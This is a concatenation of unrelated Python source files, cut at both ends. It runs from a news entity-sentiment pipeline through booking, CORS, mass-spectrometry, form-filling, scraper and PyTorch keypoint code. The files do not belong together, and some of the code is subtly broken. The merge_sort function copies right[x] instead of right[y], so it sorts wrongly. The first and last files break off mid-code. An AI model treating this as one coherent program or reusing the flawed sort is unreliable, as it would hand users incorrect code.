        END_HIGHLIGHT = '\033[94m'
        GREEN = '\033[92m'
        END_COLOR = '\033[0m'

        bounds_tree = IntervalTree(Interval(start, end) for start, end in
                                   sentence_bounds)

        bounds_sentiment = {}

        ''' Some entities at this point may not have been fully consolidated.
            Running the model is the most intensive part of this process.
            Since non consolidated entities likely have the same coref cluster.
            Running model over save cluster more than once is wasteful.'''

        cluster_id_mapping = {}  # Map cluster_id to bounds_sentiment

        for entity in clustered_entities:
            entity_name = entity['Entity Name']
            if 'entity_db_id' in entity:
                entity_db_id = entity['entity_db_id']
            else:
                print("Process clustered entities would skip...")
                print(entity_name)
                continue
            cluster_positions = entity['Cluster Info']['Cluster Positions']
            cluster_id = entity['Cluster Info']['Cluster ID']

            # Check if the cluster_id has been seen before
            if cluster_id in cluster_id_mapping:
                print('Using cached bounds sentiment')
                # If so, use the cached bounds_sentiment
                for entry in cluster_id_mapping[cluster_id]:
                    bounds_key = entry['bounds_key']

                    if entity_name not in bounds_sentiment[bounds_key]:
                        bounds_sentiment[bounds_key][entity_name] = {}

                    if entity_db_id not in bounds_sentiment[bounds_key][entity_name]:
                        bounds_sentiment[bounds_key][entity_name][entity_db_id] = []

                    bounds_sentiment[bounds_key][entity_name][entity_db_id].append(entry['result'])

            else:
                cluster_id_mapping[cluster_id] = []

                for mention_start, mention_end in cluster_positions:
                    overlap = bounds_tree.overlap(mention_start, mention_end)
                    if overlap:
                        for interval in overlap:
                            sentence_start, sentence_end = interval.begin, interval.end
                            bounds_key = (sentence_start, sentence_end)

                            if bounds_key not in bounds_sentiment:
                                bounds_sentiment[bounds_key] = {}

                            if entity_name not in bounds_sentiment[bounds_key]:
                                bounds_sentiment[bounds_key][entity_name] = {}

                            if entity_db_id not in bounds_sentiment[bounds_key][entity_name]:
                                bounds_sentiment[bounds_key][entity_name][entity_db_id] = []

                            highlighted_text = (
                                    START_HIGHLIGHT +
                                    article_text[sentence_start:mention_start] + END_HIGHLIGHT +
                                    article_text[mention_start:mention_end] + START_HIGHLIGHT +
                                    article_text[mention_end:sentence_end] + END_HIGHLIGHT)

                            result = self.bounds_sentiment(mention_start, mention_end,
                                                           sentence_start, sentence_end,
                                                           article_text)

                            bounds_sentiment[bounds_key][entity_name][entity_db_id].append(
                                result)

                            cluster_id_mapping[cluster_id].append({
                                'bounds_key': bounds_key,
                                'result': result
                            })

                            # if cluster_id not in results_cache:
                            #     result = self.bounds_sentiment(
                            #         mention_start, mention_end, sentence_start, sentence_end,
                            #         article_text
                            #     )
                            #     results_cache.setdefault(cluster_id, []).append(result)
                            #     bounds_sentiment[bounds_key][entity_name][entity_db_id].append(
                            #         result)
                            # else:
                            #     # print("Results Cache")
                            #     # print(results_cache)
                            #     results_cache[cluster_id].append(result)

                            if debug:
                                print(
                                    START_HIGHLIGHT + f"{entity_name} - Mention ({mention_start}, {mention_end}) is within bounds ({sentence_start}, {sentence_end})")
                                print(highlighted_text)
                                print(
                                    GREEN + f"NewsSentiment Candidateappearance{len(bounds_sentiment[bounds_key][entity_name][entity_db_id])}" + END_COLOR)

        return bounds_sentiment

    @staticmethod
    def average_sentiment_results(source_article_id, bounds_sentiment, article_text):
        if bounds_sentiment is None:
            print("Error: bounds_sentiment is None")
            return
        entity_averages = {}
        for bounds_key, entity_results in bounds_sentiment.items():
            for entity_name, entity_db_ids in entity_results.items():
                print("Entity DB IDs: ")
                print(entity_db_ids)
                for entity_db_id, results in entity_db_ids.items():

                    if not results:  # Empty results for an entity? Skip...
                        continue
                    print(results)
                    avg = average_array(results)

                    # Store entity - bound mention - bound text - average result in database

                    if entity_name not in entity_averages:
                        entity_averages[entity_name] = {
                            "entity_db_ids": [entity_db_id],
                            "bounds_keys": [bounds_key],
                            "sentiment_scores": [avg],
                            "text": [article_text[bounds_key[0]:bounds_key[1]]],
                        }
                    else:
                        entity_averages[entity_name]["entity_db_ids"].append(entity_db_id)
                        entity_averages[entity_name]["bounds_keys"].append(bounds_key)
                        entity_averages[entity_name]["sentiment_scores"].append(avg)
                        entity_averages[entity_name]["text"].append(
                            article_text[bounds_key[0]:bounds_key[1]])

        print('Sentiment Scores Format: [Neutral, Positive, Negative]')
        for entity_name, averages in entity_averages.items():
            entity_db_id = averages['entity_db_ids'][0]
            print(f"Averages for {entity_name} (Entity DB ID: {entity_db_id}):")
            sentiment_scores = averages['sentiment_scores']
            text = averages['text']
            bounds_keys = averages['bounds_keys']

            for i, scores in enumerate(sentiment_scores):
                # print("Sentiment Scores:", scores)
                # print("Text:", text[i])
                # print("Bounds Keys:", bounds_keys[i])
                # print()

                article_instance, created = Article.objects.get_or_create(id=source_article_id)

                # Example: Get or create an Entity instance
                entity_instance, created = Entity.objects.get_or_create(id=entity_db_id)

                DatabaseUtils.insert_bound_mention_data(entity_name, source_article_id,
                                                        entity_db_id,
                                                        scores, text[i],
                                                        bounds_keys[i])

            print('BOUND NUMBER')
            num_bound = len(averages['sentiment_scores'])
            print(num_bound)

            scaled_classification = scaling(averages['sentiment_scores'],
                                            k=EXPONENTIAL_K_VALUE)

            # Can't scale an array of [0, 0, 0] -> Divide by zero error.
            if sum(scaled_classification) == 0:
                print(scaled_classification)
                continue

            exp_percent = percentage_contribution(scaled_classification)

            linear_scaled_classification = scaling(averages['sentiment_scores'],
                                                   linear=True)
            linear_percent = percentage_contribution(
                linear_scaled_classification)

            '''Creating a list of tuples, 'systems,' containing names and classifications of two
            points allocation approaches. Iterating over the list to print array values rounded
            to 1 decimal place, percentage contributions, and the majority class for each system.'''

            systems = [("Exponential", scaled_classification),
                       ("Linear", linear_scaled_classification)]

            for system_name, system_classification in systems:
                print(f"Under {system_name} points system:")
                print(round_array_to_1dp(system_classification))
                print(percentage_contribution(system_classification))

                majority_class = max(
                    zip(["Neutral", "Positive", "Negative"], system_classification),
                    key=lambda x: x[1])
                print(f"{system_name} {majority_class[0]} Majority")

            print("------------------------------------------------")

            DatabaseUtils.insert_overall_sentiment(source_article_id, entity_db_id, num_bound,
                                                   linear_percent[0],
                                                   linear_percent[1],
                                                   linear_percent[2],
                                                   exp_percent[0], exp_percent[1], exp_percent[2])


"""Score request handler"""
from check.check_request_data import check_request_data
from helpers.codes import INVALID_REQUEST, OK
from helpers.get_score import get_score
from models.request_score import OnlineScoreRequest

def online_score_handler(request, ctx):
    """Handles score request"""

    code = OK

    req = request.get("body", None)
    arguments = req.get("arguments", None)
    first, last, email, phone, birthday, gender = ("" for _ in range(6))

    if not ctx["is_admin"]:
        # to pass when arguments=None:
        if arguments:
            first = arguments.get("first_name", None)
            last = arguments.get("last_name", None)
            email = arguments.get("email", None)
            phone = arguments.get("phone", None)
            birthday = arguments.get("birthday", None)
            gender = arguments.get("gender", None)

        if (first and last) or (email and phone) or (birthday and gender is not None):
            response, code, data = check_request_data(
                obj=OnlineScoreRequest,
                ctx=ctx,
                first_name=first,
                last_name=last,
                email=email,
                phone=phone,
                birthday=birthday,
                gender=gender
            )

            if code != INVALID_REQUEST:
                score = get_score(
                    store=None,
                    phone=data.phone.field,
                    email=data.email.field,
                    birthday=data.birthday.field,
                    gender=data.gender.field,
                    first_name=data.first_name.field,
                    last_name=data.last_name.field
                )
                response = {"score": score}

        else:
            code = INVALID_REQUEST
            response = {
                "code": code,
                "error": "args must contain albeit one non-empty values pair: "
                         "phone/email, "
                         "first/last name, "
                         "gender/birthday, "
                         f"but got {arguments}"
            }
    else:
        response = {"score": 42}

    return response, code


from ecinema.data.access import DataAccess
from ecinema.data.db import get_db

class BookingData(DataAccess):

    def __init__(self):
        self.__db = get_db()

    def get_info(self, key: str):
        return self.__db.execute(
            'SELECT * FROM booking WHERE booking_id = ?',
            (key,)
        ).fetchone()

    def get_all_bookings(self):
        return self.__db.execute(
            'SELECT * FROM booking'
        ).fetchall()

    def delete(self, key: str):
        self.__db.execute(
            'DELETE FROM booking WHERE booking_id = ?',
            (key,)
        )
        self.__db.commit()

    def insert_info(self, data) -> str:
        cursor = self.__db.cursor()
        cursor.execute(
            'INSERT INTO booking '
            '(order_id, total_price, credit_card_id, promo_id, movie_id, customer_id, showtime_id, order_date) '
            'VALUES (?, ?, ?, ?, ?, ?, ?, ?)',
            data
        )

        row_id = cursor.lastrowid
        self.__db.commit()
        return row_id

    def update_info(self, data) -> str:
        self.__db.execute(
            'UPDATE booking SET order_id = ?, total_price = ?, credit_card_id = ?, promo_id = ?, movie_id = ?, customer_id = ?, showtime_id = ?, order_date = ?'
            'WHERE booking_id = ?',
            data
        )

        self.__db.commit()

    def get_tickets(self, bid) -> str:
        return self.__db.execute(
            'SELECT * FROM ticket WHERE booking_id = ?',
            (bid,)
        ).fetchall()


header = 'Charge Amount,Bank,Place of Business\n'

banks = ['Wells Fargo', 'Bank of America', 'Chase']
buisnesses = ['"Jack in\\n the box"', '"Mcdon\\nalds"', '"Wen\\ndys"', '"Apple\\n Store"', '"Microsoft\\n Store"']

contents = ''
num_rows = 8888
for i in range(num_rows):

    bank = banks[i % len(banks)]
    buisness = buisnesses[i % len(buisnesses)]

    contents += '$' + str(i) + '.25,' + bank + ',' + buisness + '\n'

full = header + contents
print (full)

with open('generated.csv', 'w+') as f:
    f.write(full)


import sys
import os.path
from tkinter import *

def encode():
    array = []
    temp_array = []
    i = 0
    m = message.get()
    m = m.upper()
    array.append(m)
    o = offset.get()
    array.append(o)
    length = len(array[0])
    while length > i:
        temp = array[0][i]
        if temp == " ":
            temp_array.append(temp)
            i = i + 1
        elif temp == ".":
            temp_array.append(temp)
            i = i + 1
        elif (ord(temp) + o) <= 90 and (ord(temp) + o) >= 65:
            #print("Easy option")
            temp = ord(temp)
            temp = temp + o
            temp = chr(temp)
            temp_array.append(temp)
            i = i + 1
        else:
            #print("Hard option")
            temp = ord(temp)
            temp = temp + o
            temp = (temp % 90) + 64
            temp = chr(temp)
            temp_array.append(temp)
            i = i + 1
    i = i - 1
    temp = temp_array[i]
    while i > 0:
        i = i - 1
        temp = temp_array[i] + temp
    array.append(temp)
    word = (array[2])
    print(word)
    my_file = open("messages.txt", "a") #Open the file messages or if it does not exist create it
    for item in array:              #Get all items in array
        my_file.write(str(item))    #Write them to file
        my_file.write("\n")         #New line
    my_file.close()                 #Close the file

gui = Tk()

gui.title("Caesar Cypher Encoder")

Button(gui, text="Encode", command=encode).grid(row = 3, column = 0)
Label(gui, text = "Message").grid(row = 1, column =0)
Label(gui, text = "Offset").grid(row = 1, column =1)
message = Entry(gui)
message.grid(row=2, column=0)
offset = Scale(gui, from_=1, to=25, orient=HORIZONTAL)
offset.grid(row=2, column=1)

mainloop( )


def merge_sort(sort_arr):
	if (len(sort_arr) > 1):
		mid = len(sort_arr)//2;
		print(mid)

		left = sort_arr[:mid]
		right = sort_arr[mid:]

		merge_sort(left)
		merge_sort(right)

		print(left)
		print(right)

		x = y = z = 0

		while (x < len(left) and y < len(right)):
			print("while 1")
			if left[x] < right[y]:
				sort_arr[z] = left[x]
				x += 1
			else:
				sort_arr[z] = right[x]
				y += 1
			z += 1

		while (x < len(left)):
			print("while 2")
			sort_arr[z] = left[x]
			x += 1
			z += 1

		while (y < len(right)):
			print("while 3")
			sort_arr[z] = right[y]
			y += 1
			z += 1

start_arr = [5,9,2,8,4,3,1]
merge_sort(start_arr)

print(start_arr)


DEFAULT_CONFIGURATION = {
    'allow_origin': '*',
    'allow_method': 'GET, POST, PUT, DELETE, OPTIONS',
    'allow_headers': 'Origin, Content-type, Accept, X-Auth-Token',
    'expose_headers': 'etag, x-timestamp, x-trans-id, vary',
    'allow_credentials':  'false',
    'hijack_options': 'true',
    'max_age': '3600',
}

TRUTHS = ("yes", "1", "on", "true")

class CorsMiddleware(object):
    "WSGI middleware allowing CORS requests to succeed"

    def __init__(self, application, conf):
        self.application = application

        self.allowed_origins = set(conf['allow_origin'].split())
        self.allowed_methods = set(method.strip().upper() for method in
                                   conf['allow_method'].split(','))
        self.hijack_options = conf['hijack_options'].strip().lower() in TRUTHS

        headers = {}
        headers['access-control-allow-origin'] = ' '.join(self.allowed_origins)
        headers['access-control-max-age'] = conf['max_age']
        headers['access-control-allow-methods'] = conf['allow_method']
        headers['access-control-allow-headers'] = conf['allow_headers']
        headers['access-control-expose-headers'] = conf['expose_headers']
        headers['access-control-allow-credentials'] = conf['allow_credentials']
        self.cors_headers = headers.items()

    def __call__(self, env, start_response):
        """
        Enforce the allow_origin option, and optionally hijack OPTIONS reqs.
        """
        origin = env.get("HTTP_ORIGIN")
        if origin:

            if origin not in self.allowed_origins and \
                    '*' not in self.allowed_origins:
                # Enforce access control
                status = '401 Unauthorized'
                start_response(status, [])
                return ["Invalid origin"]

            method = env['REQUEST_METHOD']

            if method not in self.allowed_methods:
                status = '401 Unauthorized'
                start_response(status, [])
                return ["Invalid method"]

            if self.hijack_options and method == 'OPTIONS':
                start_response('200 Ok', self.cors_headers)
                return []

            def inject_headers(status, headers, exc_info=None):
                return start_response(status, headers + self.cors_headers, exc_info)

            return self.application(env, inject_headers)
        else:
            return self.application(env, start_response)

def filter_factory(global_conf, **local_conf):
    """Standard filter factory to use the middleware with paste.deploy"""
    conf = DEFAULT_CONFIGURATION.copy()
    conf.update(global_conf)
    conf.update(local_conf)

    def cors_filter(app):
        return CorsMiddleware(app, conf)

    return cors_filter


from pyopenms import *
import unidec.engine as unidec
import time
import numpy as np
import unidec.tools as ud

def ms1_processing(path, outpath=None, fullms1=True, agressive_speed=False):
    # Start timer
    begin = time.perf_counter()
    # Set outpath
    if outpath is None:
        outpath = path[:-8] + "_deconvolved"
    # Load file
    exp = MSExperiment()
    MzMLFile().load(path, exp)

    # Check number of scans
    num_scans = exp.getNrSpectra()
    print("Number of Scans:", num_scans)

    # Set up output experiment
    out_exp = MSExperiment()

    # Create a UniDec engine
    eng = unidec.UniDec()

    # Set some defaults
    eng.config.numit = 10
    if agressive_speed:
        print("Running agressive settings")
        # Bin together every 10 datapoints to drop the resolution by 10x
        eng.config.mzbins = 10
        # Remove 80% of the data
        eng.config.reductionpercent = 80
        # Set an intensity threshold of 1e6
        eng.config.intthresh = 1e6
    # Turn off normalization
    eng.datanorm = 0
    eng.peaknorm = 0

    # Loop through spectra
    for i, spec in enumerate(exp):
        # Get MS level
        ms_level = spec.getMSLevel()
        if ms_level != 1:
            # Append to output experiment
            out_exp.addSpectrum(spec)
        else:
            print("MS Level:", ms_level, i)
            # Get the m/z and intensity values
            mz, intensity = spec.get_peaks()
            inputdata = np.transpose([mz, intensity])
            inputdata = ud.dataprep(inputdata, eng.config)

            if len(inputdata) < 2:
                continue

            # Run UniDec
            eng.pass_data_in(inputdata, silent=True, refresh=True)
            eng.process_data(silent=True)
            eng.run_unidec(silent=True, efficiency=True)

            if fullms1:
                # Get the mass and intensity values
                try:
                    mass, intensity = eng.data.massdat[:, 0], eng.data.massdat[:, 1]
                except:
                    mass, intensity = [], []

                # Update the old spectrum
                spec2 = spec
                spec2.set_peaks((mass, intensity))
                out_exp.addSpectrum(spec2)

            else:
                # Create a new spectrum
                spec2 = spec
                try:
                    peaks = eng.pick_peaks()
                    spec2.set_peaks((peaks[:, 0], peaks[:, 1]))
                except:
                    spec2.set_peaks(([], []))

                out_exp.addSpectrum(spec2)

    # Write the output experiment to a file
    MzMLFile().store(outpath + ".mzML", out_exp)

    print("Total Time:", time.perf_counter() - begin)

if __name__ == "__main__":
    # set paths
    path = "C:\\Data\\TabbData\\20170105_L_MaD_ColC4_Ecoli20161108-10_01_ms1.mzML.gz"

    # Run the function
    ms1_processing(path, fullms1=False, agressive_speed=False)


# def exibir():
#     print('olá')
# exibir()

# CORA = 'verde'
# COR = 'azul'
# COR = 'vermelho'
# def func():
#   print(CORA)
# func()

# def my_function(anything):
#   print(anything)

# my_function('Hello World!')
# my_function([1, 2, 3, 4, 5])

# def my_function(**kid):
#   print("His last name is " + kid["lname"])

# my_function(fname = "Tobias", lname = "Refsnes")

# def funcao1(*args, **kw):
#    funcao1("python", 2022, curso="dio")

def varargs(a, b, *args):
  """Soma N números passados por parâmetro."""
  print('a: {}, b: {}, args: {}'.format(a, b, args))
  result = a + b
  for number in args:
    result += number
  return result

r1 = varargs(1, 2, 3, 4, 5, 6, 7, 8, 9, 13580)
r2 = varargs(1, 2, 3)

print('r1: {}'.format(r1))
print('r2: {}'.format(r2))


from pytorch_lightning.callbacks import Callback
from typing import Optional

class DecayLearningRate(Callback):
    def __init__(self,
                 lr_update_param: float,
                 lr_update_tol: int,
                 min_lr: Optional[float],
                 updated_lr: Optional[float]):
        self.old_lrs = []
        self.lr_update_param = lr_update_param
        self.lr_update_tol = lr_update_tol
        self.min_lr = min_lr
        self.updated_lr = updated_lr
        self.checker = 0

    def on_train_start(self, trainer, pl_module):
        # track the initial learning rates
        for opt_idx, optimizer in enumerate(trainer.optimizers):
            group = [param_group["lr"] for param_group in optimizer.param_groups]
            self.old_lrs.append(group)

    def on_train_epoch_end(self, trainer, pl_module):
        if pl_module.cur_loss >= pl_module.prev_loss:
            self.checker += 1
        if self.checker >= self.lr_update_tol:
            self.checker = 0
            for opt_idx, optimizer in enumerate(trainer.optimizers):
                old_lr_group = self.old_lrs[opt_idx]
                new_lr_group = []
                for p_idx, param_group in enumerate(optimizer.param_groups):
                    old_lr = old_lr_group[p_idx]
                    new_lr = old_lr * self.lr_update_param
                    if self.min_lr is not None:
                        if new_lr < self.min_lr:
                            new_lr = self.updated_lr
                    new_lr_group.append(new_lr)
                    param_group["lr"] = new_lr
                self.old_lrs[opt_idx] = new_lr_group


'''
Created on 25 Tem 2016

@author: elif
'''
def unpack_array(arr):
    '''
    Function
    '''
    result = []

    for item in arr:
        if type(item) is list:
            intermediate_result = unpack_array(item)
            result.extend(intermediate_result)
        else:
            result.append(item)
    return result


from datetime import datetime
from flask import Blueprint, jsonify, redirect, render_template, request, url_for
from flask_login import current_user

from growflask import db

from .plant_photo_manager import PlantPhotoManager
from psql.schema.growing import Plant
from psql.schema.notebook import Reading

plantBP = Blueprint('plant', __name__, template_folder='templates', url_prefix='/plant')

@plantBP.route('/')
def plant():
    return 'hello plant'

@plantBP.route('/add')
def add_plant():
    name = request.args.get('name')
    planted_on = request.args.get('planted_on')
    plant_date = datetime.strptime(planted_on, '%Y-%m-%dT%H:%M')

    plant = Plant()
    plant.id_user = current_user.id
    plant.name = name
    plant.ts_start = plant_date

    db.session.add(plant)
    db.session.commit()

    return redirect(url_for('dashboard.plants'))

@plantBP.route('/<int:plantId>/details')
def details(plantId):
    plant = Plant.query.get(plantId)
    return render_template('plant-details.html', plant=plant)

@plantBP.route('/<int:plantId>/details-json')
def details_json(plantId):
    plant = Plant.query.get(plantId)
    return jsonify(plant=plant.serialize())

@plantBP.route('/<int:plantId>/readings/all-json')
def all_readings_json(plantId):
    readings = Reading.query.filter_by(id_plant=plantId).all()
    return jsonify(readings=[reading.serialize() for reading in readings])

@plantBP.route('/<int:plantId>/photo')
def get_photo(plantId):
    photoManager = PlantPhotoManager()
    photos = photoManager.get_photos(plantId)
    return None

@plantBP.route('/<int:plantId>/photo/add')
def add_photo(plantId):
    photoManager = PlantPhotoManager()
    photoManager.upload()
    return None


from docx import Document
from copy import deepcopy
from openpyxl import Workbook
from openpyxl import load_workbook

def import_data(wb_name):
    #Open excel table, read in each specific value to the data dictionary, each item becomes a list of 12 values, one for each column
    wb=load_workbook(wb_name)
    ws=wb.active
    #items=[['a','b','c','d','e','f','A','B','C','D','E','F'] for i in range(100)]
    #data={'from':'0','to':'1','hand_receipt_number':'2','end_item_stock_number':'3','end_item_description':'4','publication_number':'5','publication_date':'6','quantity':'7','items':items}
    max_row = ws.max_row
    print(("Copying {} items from property.xlsx to da2062_out.docx").format(max_row))
    data['from']=str(ws.cell(1,2).value)
    data['to']=str(ws.cell(2,2).value)
    data['hand_receipt_number']=str(ws.cell(3,2).value)
    data['end_item_stock_number']=str(ws.cell(4,2).value)
    data['end_item_description']=str(ws.cell(5,2).value)
    data['publication_number']=str(ws.cell(6,2).value)
    data['publication_date']=str(ws.cell(7,2).value)
    data['quantity']=str(ws.cell(8,2).value)
    items=[]
    for i in range(10, max_row + 1):
        item_row=[str(ws.cell(i,c).value) for c in range(1,13)]
        items.append(item_row)
    data['items']=items
    #uncomment to override with test data
    #items=[['a','b','c','d','e','f','A','B','C','D','E','F'] for i in range(100)]
    #data={'from':'0','to':'1','hand_receipt_number':'2','end_item_stock_number':'3','end_item_description':'4','publication_number':'5','publication_date':'6','quantity':'7','items':items}
    return data

def replace_text(cell, par_num,run_num,new_text,old_text=""):
    #replaces a string in a single run while maintaining the original run's formatting
    p=cell.paragraphs[par_num]
    inline = p.runs[run_num]
    text = inline.text.replace(old_text, new_text,1)
    inline.text = text

def add_text(cell,new_text):
    #concatenates text to the end of a run. Ignores "None" because this is the value read in from blank excel cells
    if new_text!="None":
        p=cell.paragraphs[-1]
        inline = p.runs[4]
        inline.text =new_text

def add_pages(doc,num_new_pages):
    #Copies the table on the second page and adds it to the end of the file as many times as needed.
    subtext=doc.paragraphs[-1]
    newsubtext = deepcopy(subtext)
    for page in range(num_new_pages):
        template = doc.tables[1]
        tbl = template._tbl
        # Here we do the copy of the table
        new_tbl = deepcopy(tbl)
        # Then we do the replacement
        paragraph = doc.add_paragraph()
        # After that, we add the previously copied table
        paragraph._p.addnext(new_tbl)
        paragraph = doc.add_paragraph()
        renum_page(newsubtext,paragraph,page,num_new_pages)

def renum_page(newsubtext,paragraph,page,num_new_pages):
    #Modifies the page numbers at the end of new pages while keeping the formatting.
    i=0
    for run in newsubtext.runs:
        if i==10:
            output_run = paragraph.add_run(str(page+3),run.style)
        elif i==21:
            output_run = paragraph.add_run(str(num_new_pages+2),run.style)
        else:
            output_run = paragraph.add_run(run.text,run.style)
        if i==0:
            for _ in range(11):
                output_run.add_tab()
        elif i==2:
            output_run.add_tab()
        # Run's bold data
        output_run.bold = run.bold
        # Run's italic data
        output_run.italic = run.italic
        # Run's underline data
        output_run.underline = run.underline
        # Run's font data
        output_run.font.name=run.font.name
        output_run.font.size=run.font.size
        i+=1

#there 16 rows on the first page and 19 on the second page

def add_items(items,doc):
    #Adds each item row to the document
    '''a_col=0
    b_col=2
    c_col=7
    d_col=8
    e_col=9
    f_col=10
    g_A_col=11
    g_B_col=12
    g_C_col=13
    g_D_col=14
    g_E_col=15
    g_F_col=16'''
    first_table_cols=[0,2,7,8,9,10,11,12,13,14,15,16] #The first page has these columns
    subs_table_cols=[i for i in range(12)] #Every other page has 0-11 columns
    table_cols=first_table_cols
    table_row=4
    tab_num=0
    for i in range(len(items)):
        item=items[i]
        if (i+3)%19==0:
            table_cols=subs_table_cols
            tab_num+=1
            table_row=2
        tab=doc.tables[tab_num]
        item_col=0
        for table_col in table_cols:
            add_text(tab.cell(table_row,table_col),item[item_col])
            item_col+=1
        table_row+=1

def fill_form(data):
    #Fills in available admin data, calculates the required number of pages, changes the page count on the first page
    doc = Document('da2062.docx')
    tab=doc.tables[0] #a list of all tables in document
    from_cell=tab.cell(0,4)
    add_text(from_cell,data["from"])

    to_cell=tab.cell(0,6)
    add_text(to_cell,data["to"])

    hand_receipt_number_cell=tab.cell(0,14)
    add_text(hand_receipt_number_cell,data["hand_receipt_number"])

    end_item_stock_number_cell=tab.cell(1,1)
    add_text(end_item_stock_number_cell,data["end_item_stock_number"])

    end_item_description_cell=tab.cell(1,3)
    add_text(end_item_description_cell,data["end_item_description"])

    publication_number_cell=tab.cell(1,5)
    add_text(publication_number_cell,data["publication_number"])

    publication_date_cell=tab.cell(1,10)
    add_text(publication_date_cell,data["publication_date"])

    quantity_cell=tab.cell(1,14)
    add_text(quantity_cell,data["quantity"])

    req_pages=(len(data['items'])+2)//19+1

    replace_text(doc,-1,10,"2")
    replace_text(doc,-1,21,str(req_pages))

    if req_pages>2:
        add_pages(doc,req_pages-2)
    add_items(data['items'],doc)

    page_num_cell=tab.cell(20,0)
    replace_text(page_num_cell,-1,-3,str(req_pages),"1")
    return doc

def main():
    data=import_data("property.xlsx")
    doc=fill_form(data)
    doc.save('da2062_out.docx')

main()


import logging

from healthtools.scrapers.base_scraper import Scraper
from healthtools.config import SITES

class ForeignDoctorsScraper(Scraper):
    '''
    Scraper for foreign doctors on the medical board website
    '''

    def __init__(self):
        super(ForeignDoctorsScraper, self).__init__()
        self.log = logging.getLogger(__name__)
        self.site_url = SITES["FOREIGN_DOCTORS"]
        self.fields = [
            "name", "reg_no", "postal_address", "qualifications",
            "facility", "practice_type", "id"
        ]
        self.es_doc = "doctors-foreign"
        self.data_key = "doctors_foreign.json"
        self.data_archive_key = "archive/doctors_foreign-{}.json"

    def elasticsearch_format(self, entry):
        """
        Format entry into elasticsearch ready document
        :param entry: the data to be formatted
        :return: dictionaries of the entry's metadata and the formatted entry
        """
        entry["reg_date"] = "0000-01-01"
        entry["reg_no"] = entry["speciality"] = entry["sub_speciality"] = "-"
        entry["doctor_type"] = "foreign_doctor"

        # all bulk data need meta data describing the data
        meta_dict = {
            "index": {
                "_index": self.es_index,
                "_type": self.es_doc,
                "_id": entry["id"]
            }
        }
        return meta_dict, entry


import json

__ = lambda _: 2 if 'operand2' in _ else (1 if 'operand1' in _ else 0)

op = lambda _: 'R.' + _.lower() if _ in ('A', 'B', 'C', 'D', 'E', 'H', 'L') else _ if _.isnumeric() else 'mem_at(R.hl)'

def template(opc, d: dict):
    # if d is None:
    #     return '{0, 0}'
    # return '{' + f'{d["length"]}, {__(d)}' + '}'
    if d is None:
        return ''
    if __(d) == 2:
        return f'        // case ({opc}): CPU::{d["mnemonic"]}({op(d["operand1"])}, {op(d["operand2"])}); break;'
    else:
        return f'        // case ({opc}): CPU::{d["mnemonic"]}({op(d["operand1"])}); break;'

with open('opcodes.json', 'rb') as fp:
    opcodes = json.load(fp)

arr = ''

for i in range(256):
    opc = '0x{:02x}'.format(i)
    arr += template(opc, opcodes['cbprefixed'].get(opc))
    if i != 255 and opc in opcodes['cbprefixed']:
        arr += '\n'
        # if ((i + 1) % 8) == 0:
        #     arr += '\n'

print(arr)


import torch.nn as nn
import matplotlib.pyplot as plt
from .resnet_encoder import ResnetEncoder
from .depth_decoder import DepthDecoder
from .pose_estimation import PoseEstimation
from .keypoint_net import KeypointNet
from .keypoint_resnet import KeypointResnet
from  datasets.kp2d_augmentations import *
from layers import *
import torch
import os
from .pose_cnn import *
from .pose_decoder import *

class KP3D_Baseline(nn.Module):
    def __init__(self, options, K1, K2, epoch, batch_idx):
        super(KP3D_Baseline, self).__init__()
        self.opt = options
        self.use_pnp = self.opt.use_pnp
        if torch.cuda.is_available() and not self.opt.no_cuda:
            device = torch.device("cuda")
        else:
            device = torch.device("cpu")

        print("LOADING MONODEPTH2 ENCODER")
        self.depth_encoder = ResnetEncoder(18, True)
        self.depth_decoder = DepthDecoder(self.depth_encoder.num_ch_enc, self.opt.scales)
        #self.opt.weights_init == "pretrained"
        # extract the height and width of image that this model was trained with
        if self.opt.depth_pretrained:
            loaded_dict_enc = torch.load(self.opt.depth_encoder, map_location=device)
            feed_height = loaded_dict_enc['height']
            feed_width = loaded_dict_enc['width']
            filtered_dict_enc = {k: v for k, v in loaded_dict_enc.items() if k in self.depth_encoder.state_dict()}
            self.depth_encoder.load_state_dict(filtered_dict_enc)
            self.depth_encoder.to(device)
            #self.depth_encoder.eval()

            print("LOADING MONODEPTH2 DECODER")
            loaded_dict = torch.load(self.opt.depth_decoder, map_location=device)
            self.depth_decoder.load_state_dict(loaded_dict)
            self.depth_decoder.to(device)
            #self.depth_decoder.eval()
        else:
            self.depth_encoder.to(device)
            self.depth_decoder.to(device)
        #self.keypoint_net =  KeypointResnet()
        self.keypoint_net = KeypointNet()

        if (self.opt.kp2d_initial_ckpt!="None"):
            print("Using pretrained Model for KP2D",self.opt.kp2d_initial_ckpt)
            checkpoint = torch.load(self.opt.kp2d_initial_ckpt, map_location=device)
            self.keypoint_net.load_state_dict(checkpoint['state_dict'])

        if self.opt.freeze_kp2d:
            for param in self.keypoint_net.parameters():
                param.requires_grad = False

        if self.opt.use_posenet_for_3dwarping:
            print("Using PoseNet for Pose Calculations")
            #pose_encoder_path = os.path.join(opt.load_weights_folder, "pose_encoder.pth")
            #pose_decoder_path = os.path.join(opt.load_weights_folder, "pose.pth")

            self.pose_encoder = ResnetEncoder(18, True, 2)
            self.pose_encoder.load_state_dict(torch.load("trained_models/pose_encoder.pth"))
            self.pose_encoder.to(device)

            self.pose_decoder = PoseDecoder(self.pose_encoder.num_ch_enc, 1, 2)
            self.pose_decoder.load_state_dict(torch.load("trained_models/pose.pth"))
            self.pose_decoder.to(device)

            # self.pose_encoder.cuda()
            # self.pose_encoder.eval()
            # self.pose_decoder.cuda()
            # self.pose_decoder.eval()

            print("Loaded PoseNet")

        #for param in self.depth_encoder.parameters():
        #    param.requires_grad = False

        #for param in self.depth_decoder.parameters():
        #    param.requires_grad = False

        if not os.path.exists(self.opt.log_dir+"/keypoint_vis"):
            os.makedirs(self.opt.log_dir+"/keypoint_vis")

        self.pose_estimator = PoseEstimation(K1, K2, self.opt.no_cuda, self.opt.log_dir,
                                             self.opt.visualise_images, self.opt.epipolar_distance)
        ## TODO: // add K1 and K2 to options! or check whether K is correct in trainer.py line 36

    def batch_reshape_kp2d_preds(self, kp2d_output, j, threshold=0.3):
        score, coord, feat = kp2d_output
        org_shape=score.shape
        new_shape=(org_shape[0],org_shape[2]*org_shape[3],org_shape[1])
        score, coord, feat = score.permute(0,2,3,1),coord.permute(0,2,3,1),feat.permute(0,2,3,1)
        score, coord, feat = score.reshape((new_shape[0],new_shape[1])),coord.reshape((new_shape[0],new_shape[1],2)),feat.reshape((new_shape[0],new_shape[1],256))

        score_filtered=torch.zeros((new_shape[0],new_shape[1]))
        coord_filtered=torch.zeros((new_shape[0],new_shape[1],2))
